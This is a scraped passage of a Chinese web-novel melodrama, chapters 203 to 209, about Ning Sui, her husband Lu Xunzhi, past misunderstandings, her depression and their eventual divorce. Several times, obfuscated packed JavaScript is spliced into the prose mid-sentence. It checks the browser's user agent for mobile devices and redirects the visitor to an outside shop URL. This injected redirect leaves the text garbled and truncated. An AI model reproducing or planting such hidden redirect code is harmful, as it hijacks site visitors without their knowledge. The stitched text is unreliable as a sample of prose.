可就是这个全名让陆勋之一下子就炸了**,咬着后槽牙质问,“为什么!为什么要跟着念恩的名字取念悠!” 那他算什么? 宁穗倏地掀起眼皮看向他,好不容易酝酿起来的镇定,在这一刻瞬间瓦解。 她低吼出声,“你有什么资格叫我孩子的名字!宁念恩是我的孩子,你凭什么给改名叫陆寻!” 陆勋之怔住,他在宁穗眼底看到滔天的恨意。 他突然有一瞬间的怔忪,这么多年,宁穗明明还活着,就是不来找他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102221|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>或许跟陆闻之没有什么关系。 她只是还没有原谅他。 甚至还恨着他。 陆勋之使劲闭了闭眼睛。 恨就恨吧,总比对他一点感情也没有。 再睁开眼,陆勋之眼底的愤怒早就软了。 他起身蹲坐在宁穗膝前,双手去握宁穗的手,微微仰头看她,“你喜欢叫念恩,就还改回念恩,好不好?” 他声音很温柔,打着商量,不想惹怒宁穗。 他握着宁穗的手,冰冷又颤抖,很不正常。 宁穗喘着粗气,嘴唇都是麻的,心口像是被戳了大窟窿呼呼漏风。 她闭着眼睛,眼睫颤抖得厉害,嘴唇也紧紧抿成直线。 好半天,她才缓过来,声音沙哑得吓人,“陆勋之,你到底想怎么折磨我,给我一个痛快行吗?” “我没有想过折磨你。”陆勋之的声音像是被抽去了筋骨,机械地回答,“从来没有。” “那你非要找我做什么?”宁穗笑,“是想看着我死在你手上,你才甘心吗?” 陆勋之哑然,**宁穗为什么会这么说。 但他突然意识到一件事情。 他和宁穗之间,有误会。 意识到这一点,陆勋之突然起身,撕扯开自己的衬衣。 健壮的上半身露出来,那些伤疤又暴露在宁穗跟前。 宁穗愣住,茫然地看着他。 “我不知道到底哪里有问题。”陆勋之说,“但不管是哪里的问题,我会一个个解决。先从这一件说起。” “五年前,我给你找到了捐献者,打算带你去做手术的时候,你被陆凛之劫走了。” “他要我让出股份和陆氏的掌控权。要不就撕票。” “我同意了,但是他又加码,说只要我肯按照他的要求扎自己,他就马上让人给你做骨髓移植手术。” 看到宁穗完全茫然的状态。 陆勋之眉心紧了紧,所以宁穗根本不知道。 她什么都不知道。 陆勋之突然有些难受。 他和宁穗好像一直都在错位的关系中。 他的付出,宁穗的付出,总是在对方根本接收不到的时候在默默发生。 而两人的关系,就在这一次次之中,错过了。 一次又一次。 第204章 该原谅吗?我做不到。 宁穗半天消化不掉。 陆勋之为了救她,一刀刀扎自己? 那场面,光是听起来就很诡异。 这么精致的利己主义者,舍得为一个糟糠之妻,糟蹋自己吗? 存疑。 可那些伤疤赫然怼到宁穗脸上的时候,她真的很难否认。 这件事不是什么难查的事。 陆勋之一个小时之后就拿来了证据,放在宁穗面前。 画面中是监控拍下来的。 陆勋之看着电视机中的情形,整个人跟疯了一样,一下下扎自己。 宁穗看着,脸色都白了,电视里真的是自己。 还有那个带着艾病的捐献者。 宁穗脸色不好,陆勋之没播放完。 这视频是从陆凛之那找来的。 当初陆勋之因为看到宁穗葬身火海,急火攻心,加上受伤失血过多,人当时救回来的时候就昏迷了。 一昏迷就是两年。 后来一醒来,陆勋之还坐着轮椅,就去找陆凛之的麻烦。 但那时候陆凛之已经是陆老爷子钦定的掌权人。 陆勋之可不管那个,直接让人按住陆凛之,抄起高尔夫球杆,狠狠抽他。 这可是发起疯来连自己都捅的人,陆凛之差点被他抽死。 这还不算,陆勋之还让人黑了陆凛之所有的账户,找到了这个视频。 陆老爷子本来还想罚他,说他手足自残,犯了陆家的大忌讳。 但是看到视频,也蔫了。 想着把权力还给陆勋之,但他没要,他还想着去找宁穗。 哪里有心情管理公司。 但是现在不一样了。 他想要挽回宁穗,必须要绝对的权力。 宁穗没看完视频,陆勋之后来就掐掉了。 场面过于让人不适。 他不忍心看到宁穗这样。 宁穗白着脸,垂着眸子,看着自己的手指。 仔细看,她的指尖还在微微颤抖。 陆勋之没逼她,静静等着她自己消化。 “你给我安排的那个捐献者,有艾病,你知道吗?”宁穗一句话,平地惊雷。 陆勋之愣了好几秒,心口一团火烧起来,快要将他烫**。 “我不知道。”陆勋之声音很冷,“不可能有。” 他给宁穗准备的供体,怎么可能会忽略这么重要的问题。 各项传染病,他都让人查过。 那边都是他自己的人,不可能出这种纰漏。 不用想也知道,那个人要么被调包了,要么资料被人篡改了。 但这些都不重要。 宁穗恨了那么多年,就在那么一瞬间。 她真的觉得都不重要了。 宁穗无力地靠在沙发背上,整个人像是没了生气。 “陆勋之。” “嗯。” “你不觉得很无力吗?”宁穗扯唇,“我们之间有那么多的误会,一个接着一个,好像老天故意派了很多很多NPC来,就为了拆散我们两个。” “是,你是什么都没做。可我遭受的一切,却都是因为你。我该原谅吗?或许该。但是我做不到。” 陆勋之沉默了。 他不喜欢宁穗这么说,但事实就是这样。 一个环节扣着一个环节。 严丝合缝到,让人觉得都是商量好的。 就等着宁穗和陆勋之往里跳。 宁穗冷不丁笑了一声,“算了吧,陆勋之,就这么算了吧,好不好?我也不恨你,也不怨你。我很累了,就这么算了吧。算我求求你。” 一道身影覆上来,随即宁穗被抱进怀里。 男人的下巴轻轻蹭她的发顶。 宁穗能感受他微微颤抖,和肌肉的僵硬。 男人的声音多跟着有些颤,“穗穗,我知道你累了,你再休息休息吧,我们下次再谈。” 那就是不肯。 宁穗的确累了,她感觉自己像是突然往地面上冲似的,整个人摇摇欲坠。 她抬手看自己的手指,畸形蜷缩,像是鸡爪子一样。 她无奈地扯唇,怎么回事啊? 明明都已经好几年没犯过了。 宁穗睡了一天一夜,中间被陆勋之叫起来,勉强喂了一点粥,又睡了。 他没带她去景园,就还在她定的酒店房间。 但叫来了医生看,最后陆治之综合了他们诊断结果,有些担忧地说:“哥,嫂子状况不太好。看上去有抑郁的倾向。她这五年的病历能找到吗?看她有没有用药或者治疗。” 陆勋之怔怔的,唇角抿成直线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆闻之有一丝慌乱,一把推开陆勋之,温和笑着,“悠悠,爸爸跟大伯说会儿话,你乖,回房间玩好不好?” 悠悠点点头,然后奶声奶气地问,“爸爸,我想妈妈了,我什么时候可以跟妈妈视频?” 可可爱爱的,把人的心都萌化了。 之前陆勋之没怎么仔细看过悠悠。 现在知道她是宁穗的孩子,他认真打量起来。 这张小脸很好看,眼睛跟陆闻之一样。 可是从她脸上一点都看不出宁穗的样子。 陆勋之的眼睛,眯了眯。 第205章 你还活着,你就还是我老婆 “爸爸不是说了?”陆闻之一脸的宠溺,“妈妈最近很忙,不方便打视频。” 悠悠似懂非懂地点点头,过去的几年,她想要见宁穗的时候,宁穗都是随时能见的。 就算是没在一起,不管她什么时候想打视频,宁穗都会接。 可是这次,真的很久很久没有见过妈妈了。 她虽然点头,但是人立刻就蔫了,抽抽搭搭地哭起来,越哭越凶。 陆闻之将她抱进怀里,一下下拍着她的后背,什么都没说,就那么无声哄着。 小孩子哭累了就困,直接睡在了陆闻之的怀里。 他操控着轮椅,打算抱悠悠去睡觉。 陆勋之挡住他的去路,嫌弃道,“你这个样子,想摔着孩子?” 说着,他伸出手,抱过悠悠,虽然冷着脸,但动作小心翼翼的,“她房间在哪儿?” 陆闻之微微抿唇,他知道陆勋之就算是对他再恨,也不会对孩子怎么样。 两个人在这个方面还是很像的。 就像悠悠,虽然是宋姜所生,但他并没有恨屋及乌。 孩子是无辜的,更何况还是他的孩子。 他将来或许不会再有别的孩子。 他指了一下房间的位置,陆勋之很轻地嗯了一声,转身走向房间。 步调很慢很轻,生怕把孩子吵醒似的。 陆闻之看着窗外,那只猫又跳上他的腿,他随手抱住,继续顺着猫的**。 陆勋之小心地将悠悠放在床上,给她盖上被子,小家伙一转身搂住了自己的小兔子,安安稳稳睡着。 但眼睛还是红红的。 陆勋之帮她抹了一下眼角的湿润,手轻轻抚弄她的头发,带下来一根。 他拿到眼前,目光冷淡地看着发根的毛囊,面无表情地将头发塞进了口袋里。 有件事,他需要确认。 …… 唐佳笑陪着宁穗待了三天,本来想带她回家。 但是宁穗说自己乏,不想动。 唐佳笑知道,宁穗是担心连累自己。 “我有乔镇这个护身符,陆勋之不会怎么着我。”唐佳笑觉得酒店里实在不适合待着。 不是家,没人味儿。 她家里有孩子,有厨房,有人气。 宁穗现在这个样子,死气沉沉的,实在让人担心。 可她说什么都不肯,而且一到五点准时赶人。 “孩子还小,你要多陪。”宁穗推着唐佳笑出门。 唐佳笑突然想起来,“悠悠呢?陆闻之也不让你见吗?” 宁穗顿了一下,她没说,悠悠根本不是她的孩子。 陆勋之现在丧心病狂,也许哪天就知道这个秘密了。 藏不住的,不管是什么,都藏不住的。 她现在没有亲人,没有朋友,也没有女儿。 她什么都不想要。 一个人,什么都没有,也就不怕失去什么了。 那将来陆勋之想威胁她的时候,她一身轻松。 一条命嘛,大不了给他。 反正这五年,她本来就是偷来的。 “别管我的事了。你家里还一堆人等着你呢。”宁穗强行把唐佳笑推出门,门外传来唐佳笑的声音。 “穗穗,那我明天再来看你。你晚上要是睡不着,就给我打电话。” “知道啦!”宁穗忍住哽咽回应。 她眼底的青色确实很重,每夜每夜都睡不着。 她不知道自己挣扎到现在,为什么还是个笑话。 大家都觉得她没用吧。 是。 挺没用的。 可她尽力了。 宁穗也不知道自己今晚又是几点睡着的,但是早上是被热醒的。 后背像是贴着一个火炉子。 她热得翻身想推开,入目是陆勋之的睡颜。 他最近好像也瘦了,两颊更加瘦削,显得五官更为立体。 眼底的青色明显,比她的还要重。 大概是真的累了,宁穗在他怀里翻身,都没吵醒他。 宁穗面无表情地看了他几秒钟,转身起床。 这次动作更大,陆勋之睡眼惺忪地睁开眼,懵懵地看着宁穗走进浴室。 宁穗很少早上洗澡,但浴室传来水声。 陆勋之脸色沉了沉,他垂眸看着自己空空的怀抱。 是在嫌弃他吗? 他苦涩地扯扯唇。 半小时后,宁穗出来,头发湿湿的,只简单地擦了擦,身上裹着浴袍。 两人就这么对上视线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆勋之想捂住她的嘴,这么想就这么做了。 一只大手盖住宁穗的半张脸。 男人身上特有的香味儿让人沉醉。 可这会儿宁穗胃里翻江倒海,她又呕了。 陆勋之确定了,她是真的很恶心他。 生理性的。 以前也这样过。 那时候医生跟他说。 胃是情绪器官,宁穗现在消化不了情绪。 一旦这些情绪在身体里憋到一定程度。 那就会变成病。 宁穗病了。 真的病了。 …… 陆勋之从陆闻之那拿到了宁穗的所有病历。 他看着手中的资料。 从宁穗做骨髓移植手术,再到术后感染,宁穗从鬼门关走了一趟。 再到后来,她得了抑郁症,厌食症。 最瘦的时候,只剩七十几斤。 一把骨头。 到后来,悠悠出现了。 宁穗就那么活下来了。 对,悠悠不是宁穗的孩子。 陆勋之做了亲子鉴定。 但知道这个结果的时候,他并不意外。 本应该高兴的,但他现在一点都高兴不起来。 那个孩子不是宁穗的,却几乎算是救了宁穗的命。 因为小孩子的出现,宁穗的求生欲被一点点唤醒。 陆勋之不想承认。 但他确实欠陆闻之的。 如果没有他,宁穗真的就**。 那场大火,足以吞噬一切。 更别提,后来的治疗,还有孩子的出现。 陆勋之看着病历,突然觉得自己很多余。 像是插在陆闻之和宁穗之间的坏人,愣要将两人拆散。 心口又疼起来,陆勋之捂住胸口,像是要裂开一样。 可他怎么捂着都没用。 疼,疼的想死。 他突然明白了宁穗的感觉。 那种想死的感觉。 宁穗还一直住在酒店里,她自己把自己关了起来。 唐佳笑隔三差五地来,陆勋之没再出现过。 没人看守在门口,可她就是一步都不迈出去。 唐佳笑跟她说家里的好玩的事,说孩子的事,说一切她能想到的事。 可什么都拉不起宁穗的兴趣。 她就像是关上了一切通道,没人能走进她的心里。 了无生气。 唐佳笑出来之后,上了乔镇的车。 她突然就抱住乔镇,呜呜地哭起来,“我好害怕。” “怎么了?”乔镇吓坏了,唐佳笑一向坚强,她很少哭。 即便被乔镇气的不行的时候,她也只是打乔镇撒气。 从来不会这样哭。 “穗穗,看上去快要碎了一样。”唐佳笑哭得上气不接下气。 乔镇摸她的脸,“宝宝,你在讲什么地狱笑话。咋还押上韵了。” 唐佳笑气的捶了他一拳。 乔镇捂着胸口,“我这不是怕你难受,想缓解下你的心情。” “乔镇,你不是认识心理医生吗?给穗穗看看吧。我真的害怕……” 乔镇的脸色也沉了沉,稍有的正经了颜色。 他送唐佳笑回去之后,就去找了陆勋之。 男人在办公室里,跟个机器一样,好几天都没回家了。 累了就在沙发上凑合一下。 洗澡就去休息室里冲一冲。 像是没有魂魄的傀儡。 看上去没比宁穗好多少。 乔镇烦躁地抓了一把头发,他从小到大都没这么发愁过。 他可以谁都不管,但是他老婆哭了,他得管,“陆勋之,宁穗躲着你,不见你,这么多年,她都挺过来了,可是她现在像个枯萎的花,快要死掉了。你知道原因在哪儿吗?” 可明明眼前的男人看上去也没好多少。 陆勋之眼皮都没掀一下,“聒噪,出去。” “因为她不想跟你在一起了。你就放过她吧,行吗?” “我让你出去!”陆勋之无能狂吼,看向他的眼睛,猩红得吓人。 乔镇皱眉,“你多久没睡觉了?” 陆勋之冷了脸,又垂下眸子,继续手上的动作,像个机器。 他的手也开始轻微的抖动。 不正常,很不正常。 乔镇急了,“你是不是犯病了?你去看医生了——” “我让你滚!”陆勋之猛地将所有的东西扫到地上,整个人看上去有些癫狂。 乔镇两手举在身前,试图劝他,“你冷静点,我走。但是你让医生来看看你,好不好?陆勋之,你不能倒下。你要是倒下了,宁穗和陆闻之,会被三房那边吞了。” 不知道是不是这句话起到了作用,陆勋之冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112016|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 他双手捧住脸,整个人看上去颓败不堪。 乔镇没再说话,等着陆勋之冷静下来。 陆勋之放下手,无力地靠在椅背上,“我不想放手。” “嗯,我知道。”乔镇顺着他说。 “我不敢去看她。”陆勋之难得露出脆弱的一面,“我怕她看我的眼神。可是,我不能再失去她了。” 乔镇没说话,只叹了一口气。 他很清楚,宁穗对陆勋之意味着什么。 …… 宁穗的房门被敲响的时候,她没动,她不知道是谁,不管是谁,她都不想见。 唐佳笑有她的房卡,陆勋之随便出入这个酒店。 既然是陌生人,那她更不想见了。 可房门还是被打开,宁穗猛地看过去,两个陌生人进来,随后闪到两边,让出一条路。 陆老爷子的助理现身,面无表情,却还算恭敬地说:“大少奶奶,老爷子找您。” 陆老爷子知道了。 宁穗还没死的事,到底是被捅出去了。 …… 宁穗再走进陆家老宅,心情像是死灰。 她不知道等待她的是什么,但是老爷子这回不会放过她。 挺好的,有个人结束她,也是件好事。 毁灭吧。 陆老爷子坐在客厅里,看上去脸色很不好。 旁边坐着一个熟悉的面孔,宁穗愣了愣。 陈瑶,她为什么在这。 对方看到她,满眼的恨意。 宁穗突然明白了。 陈瑶大概先知道,然后捅到老爷子这里了。 其实她知道也是偶然。 因为她看到唐佳笑和陆勋之交替进了同一个房间。 后来她买通了保洁,拍到了里面住着的女人。 居然是宁穗! 那个面巾女人,居然是宁穗! 她感觉自己就是个小丑,一直被宁穗耍。 宁穗只扫了她一眼,便收回视线。 陆老爷子用力杵了一下手杖,发出咚咚的闷声,十分骇人。 “给我掌嘴!”老头子现在恨得慌,只想先出气。 这个女人,祸害了他一个又一个孙子。 陆勋之,陆凛之,差点就手足相残。 现在还来祸害陆闻之。 真的够了。 他要出气! “爷爷,能让我来打吗?”陈瑶问。 第207章 毁灭吧 宁穗冷眼看向陈瑶,嘴角勾起淡淡的弧度。 嘲讽,不屑,看不起。 这极大刺激了陈瑶。 她蹭得起身,根本不管陆老爷子同不同意,跨步上前,扬起胳膊。 啪! 陈瑶的脸被打到一边。 宁穗比她下手快,更狠。 陈瑶的脸颊,肉眼可见的红肿起来,五个指印,清晰可见。 陈瑶被打蒙了,机械地转回头,怔怔看着宁穗,迟钝地捂住脸,眼睛瞬间集聚起生理性的泪水。 “你是什么身份?在陆家撒野?”宁穗冷脸看着她,“陈瑶,我一直让着你,不是怕你,而是觉得我们没必要当敌人。可你要是蹬鼻子上脸,我也不会对你客气。我上次就警告过你了。” 陈瑶的理智被情绪磋磨,已经完全落了下风。 她转身看向陆老爷子,“爷爷,您看到了吧?她就是这样欺负我的。她把两兄弟玩得团团转。嫁了哥哥,又要嫁给弟弟。不要脸到极致,陆家的脸,都要被她丢尽了。” 她每说一句话,老爷子的脸色就黑下来几分。 他一辈子都在维护陆家的声誉,甚至更胜于对财富的维护。 要不是这样,他也不会纵容陆勋之对陆凛之做的事。 丑事,绝不能传出去,所以才会一次次对陆勋之做的事视而不见。 现在宁穗简直踩了他两个雷区。 他最疼爱的孙子,因为宁穗颓废了五年,整整五年。 现在宁穗又要挑拨陆勋之和陆闻之,简直找死。 陆老爷子冷冷看向宁穗,“你母亲还在国外疗养院吧?我帮你给她打个电话。” 宁穗后背一僵,下一秒,看到陆老爷子的助理拿出手机拨了一通视频通话出去。 那边几乎秒接,助理说了两句什么,便将屏幕朝宁穗转过来。 宁穗的呼吸狠狠凝住。 画面中是疗养院的病床,宁安静枯瘦如柴,安安静静躺在床上,薄薄一层,甚至都不出起伏。 这些年,宁安静的命,完全是吊着的。 当初乔深是反复碾压过她,完全没给她留活路。 宁穗垂在身侧的手颤抖着,蜷缩成诡异的形状。 耳朵里嗡鸣不断,她的意识都开始模糊。 陆老爷子嘴巴一张一合,声音像是隔着水膜往宁穗的耳朵里钻,“我知道你是孝顺孩子,你要是还想让你妈继续苟延残喘,那就离开。” 宁穗笑了,笑容带着一丝诡异。 陆老爷子脸色沉下来。 他听到宁穗说:“你在放什么屁?” 全场死寂。 在陆家,陆老爷子是绝对的权威。 一旁笑着看热闹的陈瑶都惊出一身冷汗。 宁穗这是不想活了。 对,宁穗确实不想活了。 在所有人都震惊于她口出狂言的时候,瘦削的声音突然冲出去。 一双手像是钳子一样,猛掐住陆老爷子的脖子。 老头子养尊处优这么多年,动的都是心力。 没有人对他动这种低级的手。 就连助理都懵了。 “你给我**!”宁穗怒吼着,看着陆老爷子的脸变成青色,白色,昏黄的眼球翻了白眼。 保镖这才反应过来上前去拦。 手还没碰到宁穗的衣服,就被几个力道,猛地拽倒在地。 一眨眼的功夫,除了濒死的陆老爷子,还有蒙蔽的陈瑶。 所有人都被按倒在地。 陆勋之走进来,死死盯着宁穗,余光瞥见她手下的陆老爷子,双手无力地抓握。 快不行了。 陆勋之的心快疼**。 宁穗以前很温柔。 他哪怕说一句逗她的话,她都会脸红。 那么可爱的姑娘,被他逼成什么样了? 为什么就不能放她一马呢? 她活够了,所以她要拉着陆老爷子陪葬! 陆老爷子有一句话说得对,宁安静现在就是苟延残喘。 不过是宁穗的一个执念。 陆老爷子死,宁安静就要死,宁穗也死。 都TM得**吧! 毁灭吧! 陆勋之就那么看着宁穗快要送陆老爷子归西。 仿佛是给她的崩溃找一个出口。 一旁的助理甚至觉得,陆勋之是在找替死鬼。 好像宁穗在陆老爷子身上发泄了,就不能再找陆勋之的麻烦。 造孽! “大少,老爷子身子吃不消啊!”助理到底是老爷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112017|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的老人,怎么可能看着这场闹剧继续下去。 陆勋之冷飕飕地看向他,“那你替他。” 助理,“……”我r你…… “大少,老爷子要是出事,大太太怎么办?您要看着太太进去吗?” 陆勋之神情一顿,迈步上前,握住宁穗的手腕,要去掰开。 这是把助理的话听进去了。 是,宁穗的命,比老头子的金贵。 助理,“……” 可宁穗的手就跟钳子一样,好像不是她在用力,是她身体里那股憋屈了十年的魔鬼,终于要发狂了一样。 陆勋之费了很大的力气,才把宁穗的手掰开。 老爷子人已经软了,顺着沙发往下倒,助理吓坏了,冲过去掐人中,一边嚎叫着找医生。 现场混乱成一锅粥。 而宁穗和陆勋之却像是置身事外一样。 陆勋之拉着宁穗往外走,像是拉着一个没有灵魂的躯壳。 刚才那一场角力,已经耗尽了宁穗所有的心力。 成就成,一旦泄力,这件事就结束了。 宁穗已经燃烧殆尽。 “别害怕。”陆勋之特别温柔,甚至是小心地说,“妈妈不会有事。宁穗,我答应你,我不会让人再伤害你,还有你身边的人。包括我自己。” 看宁穗没有丝毫反应,甚至没有回应他问,为什么宁安静没事。 是因为陆勋之又派了人去保护吗? 他是怎么知道? 为什么要保护? 初春的杨春花已经开了,轻轻浅浅的黄花,仿佛焕新生机。 衬托着宁穗更加潦草。 陆勋之愣了愣,看着怀里的女人灰扑扑的眸子。 没有爱,也没有恨。 什么都没有。 生气也没有。 突然意识到了不对劲,陆勋之停住步子,捧住宁穗的脸,抬起来。 宁穗的眼睛空洞洞的。 一眼望不到底一样。 “穗穗,你看着我。你说句话。”陆勋之尾音都带着颤抖。 宁穗的眼睛极其缓慢地转动,看向陆勋之的时候,好半天都是失焦的。 好不容易看清楚他,宁穗嘴巴一翕一合,“陆勋之,离婚吧,我求你了。” 第208章 真的离 时隔五年,再听到离婚两个字,陆勋之以为自己会免疫。 毕竟时间能改变一切。 但是他发现并不能。 他的心被什么东西抽了一下,疼得他呼吸都是痛的。 “穗穗,我保证……”陆勋之声音透着哀求。 保证以后不会有人再欺负她。 他会保护她。 会的,一定会的。 可明明一切痛苦,都是他给的。 直接的,间接的,都是因为他。 他又怎么有脸保证呢? 保证不了。 宁穗很轻地笑了笑,让倒寒的春天有了一丝温暖。 陆勋之的嘴角被她牵动,可下一秒,宁穗说:“那你直接弄死我吧,行吗?凌迟我十年,你是很痛快吗?你既然已经痛快了,就也给我个痛快吧,求你了。” 痛快? 陆勋之的心里像是被塞了一团棉花。 痛快什么?他都快要闷**。 宁穗突然冒出力气,一把推开陆勋之。 转身往外走,步子拖着,像是用尽了身上所有的力气。 陆勋之的心口被人捅出一个窟窿,呼呼漏风。 他难受地弯下了身子,手拄在膝盖上,整个人像是垮了一样。 五年的期盼和寻找,最后还是一场空。 他何尝不是被凌迟了一天又一天呢? “穗穗……”陆勋之声音哑得不像话,可他的呼唤,没有换来宁穗的半步顿足。 “好,离。”陆勋之的话音一落,宁穗骤然停下步子。 陆勋之突然笑了,嘲弄自己的不自量力。 宁穗铁了心不想跟他,不然也不会五年都不见人影。 她明明知道他在找她。 知道的,她都知道。 可她就看着他原地打转,像个小丑。 然后堂而皇之地在他面前转悠,耍他,想是耍只臭狗。 他活该的,他都该受的。 宁穗缓缓转身,眼底既有希冀,又有几分警惕,“真的?” 她怕了,出尔反尔的事,陆勋之没少做。 她的神经紧绷到极限,一丁点的刺激,都会让她那根弦,砰的一声崩掉。 陆勋之看到她眼底的那丝期待,就好像化作一根紧紧的弦,勒住自己的脖子。 他快要喘不上气。 男人紧紧闭眼,嘲笑自己的无能,真的没办法将宁穗留下吗? 他看向宁穗的眼睛,“穗穗,再给我一次……”机会吧。 宁穗眼中的希望骤然碎掉,明亮的光亮,瞬间灭下去。 他突然好害怕。 要是他再坚持,是不是都看不到鲜活的宁穗了。 不该的。 他不该这么狠。 “真的。”陆勋之迫不及待,却又心痛无比,“真的离。” 最后一个字,他说得很轻,好像希望自己说得不清不楚,就能侥幸于宁穗听不到。 这件事就这么算了。 可宁穗听到了。 无论空气里弥漫多么微小的希望,她都会捕捉到。 生命力顽强的,像是路边的野草。 被踩倒N次,那就N+1次弹起来。 陆勋之名下大部分的财产都给了宁穗。 协议上一条条的,密密麻麻。 宁穗只看了一眼,她甚至都不知道陆勋之到底有多少钱。 婚后的生活过去五年,竟然有些模糊。 当然,那时候她也不知道,因为她从来都不是看上陆勋之的财产。 但是现在看上了。 她不会傻到什么都不要。 只要陆勋之无条件地给,那她就心安理得地拿。 她还有宁安静要照顾,磋磨这么多年,她也要做事业。 离婚之后的美好生活,她憧憬过无数次。 早就在脑海里有了具体的形状。 那都需要钱。 她只看了一眼没有多余的附加条件,就在离婚协议上签了字。 手都没抖一下,丝毫犹豫都没有。 陆勋之心梗。 宁穗拿着自己那份协议起身,“我要搬出酒店。” 她在那个虚拟的笼子里,已经待了太久。 陆勋之扬起眸子看她,眼尾都是红的,看上去有点可怜。 可宁穗是铁石心肠,“我去哪儿你都不要找我。请你安安静静等三十天。” 三十天后他们就领证了。 离婚证。 宁穗没等陆勋之说什么,转身就走。 仿佛刚才的话,就只是通知他。 至于他同意与否,跟她没关系,她也不在乎。 胸口像是被人捅了一刀,疼得浑身都痛。 陆勋之抬手捂住自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115604|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的胸口,痛啊。 真疼。 “勋之哥。”陈瑶眼底透着兴奋,双手绞在身前凑上来,“你真要离啊?” 真是往枪口上撞啊。 那就给她一枪吧。 陆勋之垂着眸子,缓缓靠在沙发背上。 “是你告诉老头子,宁穗回来了?”陆勋之语气没什么起伏,好像在问今天的天气怎么样。 陈瑶放松了警惕,她甚至忘了,陆勋之是没有心的。 她现在脑子都是热的,只想着陆勋之离婚了,好啊,那他就是自己的了。 她不嫌弃陆勋之离过婚,反正宁穗也配不上他。 只有自己,才是他的真命天女。 “勋之哥,你看她刚才差点要掐死爷爷,这么恶毒的女人,你跟她离婚是对的。” “陈瑶。”陆勋之截住她的话茬,语气依旧平平淡淡。 淡得甚至有些诡异,“你当时做手术的时候,宁穗就在门外。她疯了一样要冲进去,被我拦住了。” 陈瑶喜出望外,“谢谢勋之哥。多亏有你。” 两人的联结不就这样出来了吗? 陆勋之却意味不明地笑了笑,“可我当时差点拦不住她。” 一个快要死的人,想要活下去的欲望有多大。 不是陆勋之能拦得住的。 最后关头,只有他知道,宁穗是自己放弃了。 陈瑶的手术已经进行了一半。 她这样冲进去,不但不会夺回供体的骨髓,还会丢掉陈瑶的性命。 她心软了。 不想拉着陈瑶一起**。 有那么一瞬间,她只想着,反正自己也得不到了,就让这骨髓救一个无辜的孩子吧。 可当时的陆勋之不懂。 现在他懂了。 所以当时宁穗才会那么恨他,直接给了他一刀。 她很正直,很善良,在失控的情况下,也不会累及无辜。 只会跟他算账。 他才是那个罪魁祸首。 他纵容宋姜,郑美婵,陆思思…… 所有人。 只要那人欺负宁穗,他都纵容。 宁穗说得对,他真的该死啊。 陆勋之冷不丁笑出声,掀起眸子看向陈瑶,仿佛是来自地狱的阎罗,“你既然这么不珍惜宁穗给你的命。那你就**吧。” 第209章 娘家人 宁穗当天就回了海城。 宁安静在海城的房子,一直空着。 她到的时候,却意外地发现,房子保养得很好。 没有一粒尘土,一看就是经常有人来打扫。 不用想也知道是谁做的,但宁穗心里没有一丝波澜。 迟到的情深比草贱。 他喜欢付出那就让他付出吧。 宁穗不会像以前那样感恩戴德。 但她第一件事情,就是找锁匠换了门锁。 最近她大概要在这住上一段日子。 她打算在海城发展。 这些年,她也一直在关注着国内的情况。 她本来也是打算回国之后,等一切都办完了,就在海城落脚。 当时也是怕一直在御城,会经常跟陆勋之碰面,总归是瞒不住的。 但现在她不怕了,但也不想见到陆勋之。 宁穗想跟之前的生活切割,一切都重新开始。 可她刚到海城的第二天,就碰到了桑甜。 “周南昭跟我说的时候,我真的高兴。”桑甜眼底闪烁着泪花,是真心实意地为宁穗开心。 那么好的姑娘,怎么能就这么悲惨地死去。 实在是不公平。 可看到宁穗瘦削的脸颊时,桑甜又心疼,“我听周二说,你要离婚了?恭喜。” 